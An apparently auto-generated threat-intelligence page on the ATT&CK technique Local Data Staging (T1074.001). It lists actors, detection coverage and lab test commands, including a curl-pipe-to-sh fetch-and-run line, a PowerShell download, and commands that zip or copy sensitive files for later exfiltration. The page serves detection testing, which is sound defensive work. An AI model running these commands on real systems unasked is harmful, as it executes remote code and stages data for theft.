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ATT&CK Technique

Local Data Staging

T1074.001 · collection

Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.

Adversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.

ESXiLinuxmacOSWindows

Actors Using This

14
iranAgrius
russia_speaking_cybercrimeAkira
russia_speaking_cybercrimeALPHV / BlackCat
north_koreaAndariel
chinaAPT10
chinaAPT17
chinaAPT1
russiaAPT28
chinaAPT31
iranAPT33
iranOilRig
iranAPT35
north_koreaAPT37

Likely Attack Path

Techniques the same actors pair with this one distinctively - those showing up among actors who use this technique noticeably more than across all actors (lift > 1.15), grouped by kill-chain phase. The × is that lift multiplier; the shared-actor count is in the tooltip. A near-universal technique pairs with everything at baseline, so its list is short by design.
reconnaissance earlier
command-and-control later

Atomic Tests

3
Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
powershellwindowsStage data from Discovery.bat
Utilize powershell to download discovery.bat and save to a local file. This emulates an attacker downloading data collection tools onto the host. Upon execution, verify that the file is saved in the temp directory.
Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.bat" -OutFile #{output_file}
shlinux, macosStage data from Discovery.sh
Utilize curl to download discovery.sh and execute a basic information gathering shell script
curl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.sh | sh -s > #{output_file}
powershellwindowsZip a Folder with PowerShell for Staging in Temp
Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration. Upon execution, Verify that a zipped folder named Folder_to_zip.zip was placed in the temp directory.
Compress-Archive -Path "#{input_file}" -DestinationPath #{output_file} -Force

Detection Coverage

1/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) 4
Analytics (MITRE CAR) none
Runtime / container (Falco) none
File / malware (YARA) none
Network (Suricata/Snort) none
Vuln scan (Nuclei) none

Caldera Emulation

2
MITRE Caldera abilities that emulate this technique - each is an executable action for automated adversary emulation.
collectiondarwin, linux, windowsCreate staging directory
mkdir -p staged && echo $PWD/staged
collectiondarwin, linux, windowsStage sensitive files
cp #{host.file.path[filters(technique=T1005,max=3)]} #{host.dir.staged[filters(max=1)]}

Comply & Defend

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